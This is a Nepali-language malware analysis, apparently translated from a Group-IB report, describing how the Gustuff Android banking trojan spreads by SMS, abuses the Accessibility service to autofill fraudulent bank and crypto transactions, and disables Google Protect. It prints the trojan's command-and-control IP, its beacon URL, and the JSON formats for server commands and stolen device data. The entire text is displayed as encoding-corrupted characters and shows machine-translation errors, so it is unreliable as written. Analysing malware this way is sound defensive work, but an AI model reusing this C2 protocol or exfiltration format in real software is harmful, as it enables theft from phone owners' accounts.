рдХрд╕рд░реА рдПрдиреНрдбреНрд░реЛрдЗрдб рдЯреНрд░реЛрдЬрди рдЧрд╕реНрдЯрдлрд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдЦрд╛рддрд╛рд╣рд░реВрдмрд╛рдЯ рдХреНрд░реАрдо (рдлрд┐рдпрд╛рдЯ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ) рд╕реНрдХрд┐рдо рдЧрд░реНрджрдЫ

рдХрд╕рд░реА рдПрдиреНрдбреНрд░реЛрдЗрдб рдЯреНрд░реЛрдЬрди рдЧрд╕реНрдЯрдлрд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдЦрд╛рддрд╛рд╣рд░реВрдмрд╛рдЯ рдХреНрд░реАрдо (рдлрд┐рдпрд╛рдЯ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ) рд╕реНрдХрд┐рдо рдЧрд░реНрджрдЫ

рдЕрд░реНрдХреЛ рджрд┐рди рдорд╛рддреНрд░ рд╕рдореВрд╣-рдЖрдИрдмреА рдЬрд╛рдирдХрд╛рд░реА рдЧрд░рд╛рдП рдореЛрдмрд╛рдЗрд▓ рдПрдиреНрдбреНрд░реЛрдЗрдб рдЯреНрд░реЛрдЬрди Gustuff рдХреЛ рдЧрддрд┐рд╡рд┐рдзрд┐ рдмрд╛рд░реЗред рдпрд╕рд▓реЗ 100 рдареВрд▓рд╛ рд╡рд┐рджреЗрд╢реА рдмреИрдВрдХрд╣рд░реВрдХрд╛ рдЧреНрд░рд╛рд╣рдХрд╣рд░реВ, рдореЛрдмрд╛рдЗрд▓ 32 рдХреНрд░рд┐рдкреНрдЯреЛ рд╡рд╛рд▓реЗрдЯрд╣рд░реВ, рд╕рд╛рдереИ рдареВрд▓рд╛ рдИ-рд╡рд╛рдгрд┐рдЬреНрдп рд╕реНрд░реЛрддрд╣рд░реВрдХрд╛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рдЖрдХреНрд░рдордг рдЧрд░реНрджреИ рдЕрдиреНрддрд░реНрд░рд╛рд╖реНрдЯреНрд░рд┐рдп рдмрдЬрд╛рд░рд╣рд░реВрдорд╛ рд╡рд┐рд╢реЗрд╖ рд░реВрдкрдорд╛ рдХрд╛рдо рдЧрд░реНрджрдЫред рддрд░ Gustuff рдХреЛ рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛ Bestoffer рдЙрдкрдирд╛рдо рдЕрдиреНрддрд░реНрдЧрдд рд░реВрд╕реА рднрд╛рд╖рд╛ рдмреЛрд▓реНрдиреЗ рд╕рд╛рдЗрдмрд░ рдЕрдкрд░рд╛рдзреА рд╣реЛред рд╣рд╛рд▓рд╕рдореНрдо, рдЙрдирд▓реЗ рдЖрдлреНрдиреЛ рдЯреНрд░реЛрдЬрдирд▓рд╛рдИ "рдЬреНрдЮрд╛рди рд░ рдЕрдиреБрднрд╡ рднрдПрдХрд╛ рдорд╛рдирд┐рд╕рд╣рд░реВрдХрд╛ рд▓рд╛рдЧрд┐ рдЧрдореНрднреАрд░ рдЙрддреНрдкрд╛рджрди" рднрдиреЗрд░ рдкреНрд░рд╢рдВрд╕рд╛ рдЧрд░реЗред

рд╕рдореВрд╣-IB рдорд╛ рдорд╛рд▓рд┐рд╕рд┐рдпрд╕ рдХреЛрдб рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╡рд┐рд╢реЗрд╖рдЬреНрдЮ рдЗрд╡рд╛рди рдкрд┐рд╕рд╛рд░реЗрдн рдЖрдлреНрдиреЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдорд╛, рдЙрд╕рд▓реЗ Gustuff рдХрд╕рд░реА рдХрд╛рдо рдЧрд░реНрдЫ рд░ рдпрд╕рдХреЛ рдЦрддрд░рд╛рд╣рд░реВ рдХреЗ рд╣реЛ рднрдиреЗрд░ рд╡рд┐рд╕реНрддреГрдд рд░реВрдкрдорд╛ рдХреБрд░рд╛ рдЧрд░реНрдЫред

Gustuff рдХреЛ рд▓рд╛рдЧрд┐ рд╢рд┐рдХрд╛рд░ рдЫ?

Gustuff рдкреВрд░реНрдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкреНрд░рдХрд╛рд░реНрдпрд╣рд░реВ рднрдПрдХреЛ рдорд╛рд▓рд╡реЗрдпрд░рдХреЛ рдирдпрд╛рдБ рдкреБрд╕реНрддрд╛рд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдЫред рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рдХрд╛ рдЕрдиреБрд╕рд╛рд░, рдЯреНрд░реЛрдЬрди рдПрдиреНрдбреАрдмреЛрдЯ рдорд╛рд▓рд╡реЗрдпрд░рдХреЛ рдирдпрд╛рдБ рд░ рд╕реБрдзрд╛рд░рд┐рдПрдХреЛ рд╕рдВрд╕реНрдХрд░рдг рднрдПрдХреЛ рдЫ, рдЬрд╕рд▓реЗ рдиреЛрднреЗрдореНрдмрд░ 2017 рджреЗрдЦрд┐ рдПрдиреНрдбреНрд░реЛрдЗрдб рдлреЛрдирд╣рд░реВрдорд╛ рдЖрдХреНрд░рдордг рдЧрд░рд┐рд░рд╣реЗрдХреЛ рдЫ рд░ рдкреНрд░рд╕рд┐рджреНрдз рдЕрдиреНрддрд░реНрд░рд╛рд╖реНрдЯреНрд░рд┐рдп рдмреИрдВрдХрд╣рд░реВ рд░ рднреБрдХреНрддрд╛рдиреА рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдХреЛ рдореЛрдмрд╛рдЗрд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдХреЛ рд░реВрдкрдорд╛ рдлрд┐рд╕рд┐рдЩ рд╡реЗрдм рдлрд╛рд░рдорд╣рд░реВ рдорд╛рд░реНрдлрдд рдкреИрд╕рд╛ рдЪреЛрд░реА рдЧрд░рд┐рд░рд╣реЗрдХреЛ рдЫред Bestoffer рд▓реЗ рд░рд┐рдкреЛрд░реНрдЯ рдЧрд░реНрдпреЛ рдХрд┐ Gustuff Bot рднрд╛рдбрд╛ рдореВрд▓реНрдп рдкреНрд░рддрд┐ рдорд╣рд┐рдирд╛ $ 800 рдерд┐рдпреЛред

Gustuff рдирдореВрдирд╛рдХреЛ рд╡рд┐рд╢реНрд▓реЗрд╖рдгрд▓реЗ рджреЗрдЦрд╛рдпреЛ рдХрд┐ рдЯреНрд░реЛрдЬрдирд▓реЗ рд╕рдореНрднрд╛рд╡рд┐рдд рд░реВрдкрдорд╛ рдмреИрдВрдХ рдЕрдл рдЕрдореЗрд░рд┐рдХрд╛, рдмреИрдВрдХ рдЕрдл рд╕реНрдХрдЯрд▓реНрдпрд╛рдгреНрдб, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, рд╕рд╛рдереИ рдХреНрд░рд┐рдкреНрдЯреЛ рд╡рд╛рд▓реЗрдЯрд╣рд░реВ рдЬрд╕реНрддрд╛ рдареВрд▓рд╛ рдмреИрдВрдХрд╣рд░реВрдХреЛ рдореЛрдмрд╛рдЗрд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЧреНрд░рд╛рд╣рдХрд╣рд░реВрд▓рд╛рдИ рд▓рдХреНрд╖рд┐рдд рдЧрд░рд┐рд░рд╣реЗрдХреЛ рдЫред Bitcoin рд╡рд╛рд▓реЗрдЯ, BitPay, Cryptopay, Coinbase, рдЖрджрд┐ред

рдореВрд▓ рд░реВрдкрдорд╛ рдХреНрд▓рд╛рд╕рд┐рдХ рдмреИрдВрдХрд┐рдЩ рдЯреНрд░реЛрдЬрдирдХреЛ рд░реВрдкрдорд╛ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░рд┐рдПрдХреЛ, рд╣рд╛рд▓рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрдорд╛ Gustuff рд▓реЗ рдЖрдХреНрд░рдордгрдХреЛ рд▓рд╛рдЧрд┐ рд╕рдореНрднрд╛рд╡рд┐рдд рд▓рдХреНрд╖реНрдпрд╣рд░реВрдХреЛ рд╕реВрдЪреАрд▓рд╛рдИ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд░реВрдкрдорд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдЧрд░реЗрдХреЛ рдЫред рдмреИрдВрдХрд╣рд░реВ, рдлрд┐рдирдЯреЗрдХ рдХрдореНрдкрдиреАрд╣рд░реВ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ рд╕реЗрд╡рд╛рд╣рд░реВрдХрд╛ рд▓рд╛рдЧрд┐ рдПрдиреНрдбреНрд░реЛрдЗрдб рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдХрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд, Gustuff рдорд╛рд░реНрдХреЗрдЯрдкреНрд▓реЗрд╕ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ, рдЕрдирд▓рд╛рдЗрди рд╕реНрдЯреЛрд░рд╣рд░реВ, рднреБрдХреНрддрд╛рдиреА рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВ рд░ рдЗрдиреНрд╕реНрдЯреНрдпрд╛рдиреНрдЯ рдореЗрд╕реЗрдиреНрдЬрд░рд╣рд░реВрдХрд╛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрдХрд╛ рд▓рд╛рдЧрд┐ рд▓рдХреНрд╖рд┐рдд рдЫред рд╡рд┐рд╢реЗрд╖ рдЧрд░реА, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut рд░ рдЕрдиреНрдпред

рдкреНрд░рд╡реЗрд╢ рдмрд┐рдиреНрджреБ: рдЬрди рд╕рдВрдХреНрд░рдордгрдХреЛ рд▓рд╛рдЧрд┐ рдЧрдгрдирд╛

рдПрдиреНрдбреНрд░реЛрдЗрдб рд╕реНрдорд╛рд░реНрдЯрдлреЛрдирд╣рд░реВрдорд╛ APK рдХреЛ рд▓рд┐рдЩреНрдХрд╣рд░реВ рд╕рд╣рд┐рдд рдПрд╕рдПрдордПрд╕ рдореЗрд▓рд┐рдЩрд╣рд░реВ рдорд╛рд░реНрдлрдд рдкреНрд░рд╡реЗрд╢рдХреЛ "рдХреНрд▓рд╛рд╕рд┐рдХ" рднреЗрдХреНрдЯрд░рджреНрд╡рд╛рд░рд╛ Gustuff рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛред рдЬрдм рдПрдиреНрдбреНрд░реЛрдЗрдб рдЙрдкрдХрд░рдг рд╕рд░реНрднрд░рдХреЛ рдЖрджреЗрд╢рдорд╛ рдЯреНрд░реЛрдЬрдирдмрд╛рдЯ рд╕рдВрдХреНрд░рдорд┐рдд рд╣реБрдиреНрдЫ, Gustuff рдердк рд╕рдВрдХреНрд░рдорд┐рдд рдлреЛрдирдХреЛ рд╕рдореНрдкрд░реНрдХ рдбрд╛рдЯрд╛рдмреЗрд╕ рд╡рд╛ рд╕рд░реНрднрд░ рдбрд╛рдЯрд╛рдмреЗрд╕ рдорд╛рд░реНрдлрдд рдлреИрд▓рд┐рди рд╕рдХреНрдЫред Gustuff рдХреЛ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдорд╛рд╕ рдЗрдиреНрдлреЗрдХреНрд╕рди рд░ рдпрд╕рдХреЛ рдЕрдкрд░реЗрдЯрд░рд╣рд░реВрдХреЛ рд╡реНрдпрд╡рд╕рд╛рдпрдХреЛ рдЕрдзрд┐рдХрддрдо рдкреВрдВрдЬреАрдХрд░рдгрдХреЛ рд▓рд╛рдЧрд┐ рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рдЫ - рдпреЛ рд╡реИрдз рдореЛрдмрд╛рдЗрд▓ рдмреИрдВрдХрд┐рдЩ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ рд╡рд╛рд▓реЗрдЯрд╣рд░реВрдорд╛ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп "рд╕реНрд╡рдд: рднрд░рдг" рдкреНрд░рдХрд╛рд░реНрдп рдЫ, рдЬрд╕рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рдкреИрд╕рд╛рдХреЛ рдЪреЛрд░реАрдХреЛ рдЧрддрд┐ рдмрдврд╛рдЙрди рд░ рдорд╛рдкрди рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред

рдЯреНрд░реЛрдЬрдирдХреЛ рдЕрдзреНрдпрдпрдирд▓реЗ рджреЗрдЦрд╛рдпреЛ рдХрд┐ рдЕрдЯреЛрдлрд┐рд▓ рдкреНрд░рдХрд╛рд░реНрдпрд▓рд╛рдИ рдкрд╣реБрдБрдЪ рд╕реЗрд╡рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реА рд▓рд╛рдЧреВ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ, рдЕрдкрд╛рдЩреНрдЧрддрд╛ рднрдПрдХрд╛ рд╡реНрдпрдХреНрддрд┐рд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рд╕реЗрд╡рд╛ред Gustuff рдкрд╣рд┐рд▓реЛ рдЯреНрд░реЛрдЬрди рд╣реЛрдЗрди рдЬрд╕рд▓реЗ рдпреЛ рдПрдиреНрдбреНрд░реЛрдЗрдб рд╕реЗрд╡рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдХреЛ рд╡рд┐рдиреНрдбреЛ рддрддреНрд╡рд╣рд░реВрд╕рдБрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рд╡рд┐рд░реБрджреНрдз рд╕реБрд░рдХреНрд╖рд╛рд▓рд╛рдИ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдмрд╛рдЗрдкрд╛рд╕ рдЧрд░реНрдЫред рдпрджреНрдпрдкрд┐, рдХрд╛рд░ рдлрд┐рд▓рд░рд╕рдБрдЧ рд╕рдВрдпреЛрдЬрдирдорд╛ рдкрд╣реБрдБрдЪ рд╕реЗрд╡рд╛рдХреЛ рдкреНрд░рдпреЛрдЧ рдЕрдЭреИ рдзреЗрд░реИ рджреБрд░реНрд▓рдн рдЫред

рдкреАрдбрд┐рддрдХреЛ рдлреЛрдирдорд╛ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реЗрдкрдЫрд┐, Gustuff, рдкрд╣реБрдБрдЪ рд╕реЗрд╡рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░, рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ (рдмреИрдВрдХрд┐рдЩ, рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА, рд╕рд╛рдереИ рдЕрдирд▓рд╛рдЗрди рд╕рдкрд┐рдЩ, рд╕рдиреНрджреЗрд╢, рдЗрддреНрдпрд╛рджрд┐) рдХреЛ рд╡рд┐рдиреНрдбреЛ рддрддреНрд╡рд╣рд░реВрд╕рдБрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рдЧрд░реНрди рд╕рдХреНрд╖рдо рдЫ, рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░реНрджреИред ред рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рд╕рд░реНрднрд░рдХреЛ рдЖрджреЗрд╢рдорд╛, рдЯреНрд░реЛрдЬрдирд▓реЗ рдмрдЯрдирд╣рд░реВ рдерд┐рдЪреНрди рд░ рдмреИрдВрдХрд┐рдЩ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдорд╛ рдкрд╛рда рдХреНрд╖реЗрддреНрд░рд╣рд░реВрдХреЛ рдорд╛рдирд╣рд░реВ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрди рд╕рдХреНрдЫред рдкрд╣реБрдБрдЪ рд╕реЗрд╡рд╛ рд╕рдВрдпрдиреНрддреНрд░рдХреЛ рдкреНрд░рдпреЛрдЧрд▓реЗ рдЯреНрд░реЛрдЬрдирд▓рд╛рдИ рдмреИрдВрдХрд╣рд░реВрд▓реЗ рдЕрдШрд┐рд▓реНрд▓реЛ рдкреБрд╕реНрддрд╛рдХреЛ рдореЛрдмрд╛рдЗрд▓ рдЯреНрд░реЛрдЬрдирд╣рд░реВ, рд╕рд╛рдереИ рдПрдиреНрдбреНрд░реЛрдЗрдб OS рдХреЛ рдирдпрд╛рдБ рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрдорд╛ Google рджреНрд╡рд╛рд░рд╛ рд▓рд╛рдЧреВ рдЧрд░рд┐рдПрдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдорд╛ рдкрд░рд┐рд╡рд░реНрддрдирд╣рд░реВ рдХрд╛рдЙрдиреНрдЯрд░ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреЗ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдВрдпрдиреНрддреНрд░рд╣рд░реВрд▓рд╛рдИ рдмрд╛рдЗрдкрд╛рд╕ рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рдпрд╕реИрд▓реЗ, Gustuff рд▓рд╛рдИ "рдХрд╕рд░реА рдерд╛рд╣рд╛ рдЫ" Google Protect рд╕реБрд░рдХреНрд╖рд╛ рдЕрд╕рдХреНрд╖рдо рдЧрд░реНрдиреЗ: рд▓реЗрдЦрдХрдХрд╛ рдЕрдиреБрд╕рд╛рд░, рдпреЛ рдкреНрд░рдХрд╛рд░реНрдпрд▓реЗ 70% рдХреЗрд╕рд╣рд░реВрдорд╛ рдХрд╛рдо рдЧрд░реНрджрдЫред

рдХрд╕рд░реА рдПрдиреНрдбреНрд░реЛрдЗрдб рдЯреНрд░реЛрдЬрди рдЧрд╕реНрдЯрдлрд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдЦрд╛рддрд╛рд╣рд░реВрдмрд╛рдЯ рдХреНрд░реАрдо (рдлрд┐рдпрд╛рдЯ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ) рд╕реНрдХрд┐рдо рдЧрд░реНрджрдЫ

Gustuff рд▓реЗ рд╡реИрдз рдореЛрдмрд╛рдЗрд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдХреЛ рдЖрдЗрдХрдирд╣рд░реВрд╕рдБрдЧ рдирдХреНрдХрд▓реА рдкреБрд╢ рд╕реВрдЪрдирд╛рд╣рд░реВ рдкрдирд┐ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрди рд╕рдХреНрдЫред рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓реЗ PUSH рд╕реВрдЪрдирд╛рдорд╛ рдХреНрд▓рд┐рдХ рдЧрд░реНрдЫ рд░ рд╕рд░реНрднрд░рдмрд╛рдЯ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░рд┐рдПрдХреЛ рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛ рджреЗрдЦреНрдЫ, рдЬрд╣рд╛рдБ рдЙрд╕рд▓реЗ рдЕрдиреБрд░реЛрдз рдЧрд░рд┐рдПрдХреЛ рдмреИрдВрдХ рдХрд╛рд░реНрдб рд╡рд╛ рдХреНрд░рд┐рдкреНрдЯреЛ рд╡рд╛рд▓реЗрдЯ рдбрд╛рдЯрд╛ рдкреНрд░рд╡рд┐рд╖реНрдЯ рдЧрд░реНрдЫред рдЕрд░реНрдХреЛ Gustuff рдкрд░рд┐рджреГрд╢реНрдпрдорд╛, PUSH рдЕрдзрд┐рд╕реВрдЪрдирд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рднрдПрдХреЛ рддрд░реНрдлрдмрд╛рдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЦреЛрд▓рд┐рдПрдХреЛ рдЫред рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рдкрд╣реБрдБрдЪ рд╕реЗрд╡рд╛ рдорд╛рд░реНрдлрдд рд╕рд░реНрднрд░рдмрд╛рдЯ рдЖрджреЗрд╢ рдкрд╛рдПрдкрдЫрд┐ рдорд╛рд▓рд╡реЗрдпрд░рд▓реЗ рдЬрд╛рд▓рд╕рд╛рдЬреАрдкреВрд░реНрдг рдХрд╛рд░реЛрдмрд╛рд░рдХреЛ рд▓рд╛рдЧрд┐ рдмреИрдВрдХрд┐рдЩ рдЖрд╡реЗрджрдирдХреЛ рдлрд╛рд░рдо рдлрд┐рд▓реНрдбрд╣рд░реВ рднрд░реНрди рд╕рдХреНрдЫред

Gustuff рдХреЛ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдорд╛ рд╕рд░реНрднрд░рдорд╛ рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рдХреЛ рдмрд╛рд░реЗрдорд╛ рдЬрд╛рдирдХрд╛рд░реА рдкрдард╛рдЙрдиреЗ, SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдвреНрди/рдкрдард╛рдЙрдиреЗ рдХреНрд╖рдорддрд╛, USSD рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкрдард╛рдЙрдиреЗ, SOCKS5 рдкреНрд░реЛрдХреНрд╕реА рд╕реБрд░реБ рдЧрд░реНрдиреЗ, рд▓рд┐рдЩреНрдХ рдкрдЫреНрдпрд╛рдЙрдиреЗ, рдлрд╛рдЗрд▓рд╣рд░реВ рдкрдард╛рдЙрдиреЗ (рдХрд╛рдЧрдЬрд╛рддрд╣рд░реВрдХреЛ рдлреЛрдЯреЛ рд╕реНрдХреНрдпрд╛рди, рд╕реНрдХреНрд░рд┐рдирд╕рдЯрд╣рд░реВ, рдлреЛрдЯреЛрд╣рд░реВ рд╕рд╣рд┐рдд) рд╕рдорд╛рд╡реЗрд╢ рдЫред рд╕рд░реНрднрд░, рдпрдиреНрддреНрд░рд▓рд╛рдИ рдХрд╛рд░рдЦрд╛рдирд╛ рд╕реЗрдЯрд┐рдЩрд╣рд░реВрдорд╛ рд░рд┐рд╕реЗрдЯ рдЧрд░реНрдиреБрд╣реЛрд╕реНред

рдорд╛рд▓рд╡реЗрдпрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг

рдЦрд░рд╛рдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрдиреБ рдЕрдШрд┐, рдПрдиреНрдбреНрд░реЛрдЗрдб рдУрдПрд╕рд▓реЗ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓рд╛рдИ Gustuff рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдз рдЧрд░рд┐рдПрдХреЛ рдЕрдзрд┐рдХрд╛рд░рд╣рд░реВрдХреЛ рд╕реВрдЪреА рд╕рдорд╛рд╡реЗрд╢ рднрдПрдХреЛ рд╡рд┐рдиреНрдбреЛ рджреЗрдЦрд╛рдЙрдБрджрдЫ:

рдХрд╕рд░реА рдПрдиреНрдбреНрд░реЛрдЗрдб рдЯреНрд░реЛрдЬрди рдЧрд╕реНрдЯрдлрд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдЦрд╛рддрд╛рд╣рд░реВрдмрд╛рдЯ рдХреНрд░реАрдо (рдлрд┐рдпрд╛рдЯ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ) рд╕реНрдХрд┐рдо рдЧрд░реНрджрдЫ
рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рдХреЛ рд╕рд╣рдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдЧрд░реЗрдкрдЫрд┐ рдорд╛рддреНрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реНрдерд╛рдкрдирд╛ рд╣реБрдиреЗрдЫред рдПрдкреНрд▓рд┐рдХреЗрд╕рди рд╕реБрд░реБ рдЧрд░реЗрдкрдЫрд┐, рдЯреНрд░реЛрдЬрдирд▓реЗ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓рд╛рдИ рдПрдЙрдЯрд╛ рд╕рдЮреНрдЭреНрдпрд╛рд▓ рджреЗрдЦрд╛рдЙрдиреЗрдЫ:

рдХрд╕рд░реА рдПрдиреНрдбреНрд░реЛрдЗрдб рдЯреНрд░реЛрдЬрди рдЧрд╕реНрдЯрдлрд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдЦрд╛рддрд╛рд╣рд░реВрдмрд╛рдЯ рдХреНрд░реАрдо (рдлрд┐рдпрд╛рдЯ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ) рд╕реНрдХрд┐рдо рдЧрд░реНрджрдЫ
рдЬрд╕ рдкрдЫрд┐ рдпрд╕рд▓реЗ рдпрд╕рдХреЛ рдЖрдЗрдХрди рд╣рдЯрд╛рдЙрдиреЗрдЫред

рд▓реЗрдЦрдХрдХрд╛ рдЕрдиреБрд╕рд╛рд░ FTT рдХреЛ рдПрдХ рдкреНрдпрд╛рдХрд░ рджреНрд╡рд╛рд░рд╛ Gustuff рдкреНрдпрд╛рдХ рдЧрд░рд┐рдПрдХреЛ рдЫред рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдкрдЫрд┐, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдЖрд╡рдзрд┐рдХ рд░реВрдкрдорд╛ рдЖрджреЗрд╢рд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди CnC рд╕рд░реНрднрд░рд▓рд╛рдИ рд╕рдореНрдкрд░реНрдХ рдЧрд░реНрджрдЫред рд╣рд╛рдореАрд▓реЗ рдЬрд╛рдБрдЪ рдЧрд░реЗрдХрд╛ рдзреЗрд░реИ рдлрд╛рдЗрд▓рд╣рд░реВрд▓реЗ рдирд┐рдпрдиреНрддреНрд░рдг рд╕рд░реНрднрд░рдХреЛ рд░реВрдкрдорд╛ IP рдареЗрдЧрд╛рдирд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНтАНрдпреЛ реирезрен.реирей.резрек [ред] реирен (рдпрд╕ рдкрдЫрд┐ рд╣рд╛рдореА рдпрд╕рд▓рд╛рдИ рдХреЛ рд░реВрдкрдорд╛ рдмреБрдЭрд╛рдЙрдиреЗрдЫреМрдВ <%CnC%>).

рд╕реБрд░реБрд╡рд╛рдд рдкрдЫрд┐, рдХрд╛рд░реНрдпрдХреНрд░рдо рд╕рд░реНрднрд░рдорд╛ рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЙрди рд╕реБрд░реБ рд╣реБрдиреНрдЫ http://<%CnC%>/api/v1/get.php.

рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд┐рдореНрди рдврд╛рдБрдЪрд╛рдорд╛ JSON рд╣реБрди рдЕрдкреЗрдХреНрд╖рд╛ рдЧрд░рд┐рдПрдХреЛ рдЫ:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

рдкреНрд░рддреНрдпреЗрдХ рдкрдЯрдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдкрд╣реБрдБрдЪ рдЧрд░рд┐рдиреНрдЫ, рдпрд╕рд▓реЗ рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рдХреЛ рдмрд╛рд░реЗрдорд╛ рдЬрд╛рдирдХрд╛рд░реА рдкрдард╛рдЙрдБрдЫред рд╕рдиреНрджреЗрд╢ рдврд╛рдБрдЪрд╛ рддрд▓ рджреЗрдЦрд╛рдЗрдПрдХреЛ рдЫред рдпреЛ рдХреНрд╖реЗрддреНрд░рд╣рд░реВ рдзреНрдпрд╛рди рджрд┐рди рд▓рд╛рдпрдХ рдЫ рдкреВрд░реНрдг, рдЕрддрд┐рд░рд┐рдХреНрдд, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ ╨╕ рдЕрдиреБрдорддрд┐ - рд╡реИрдХрд▓реНрдкрд┐рдХ рд░ CnC рдмрд╛рдЯ рдЕрдиреБрд░реЛрдз рдЖрджреЗрд╢рдХреЛ рдЕрд╡рд╕реНрдерд╛рдорд╛ рдорд╛рддреНрд░ рдкрдард╛рдЗрдиреЗрдЫред

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
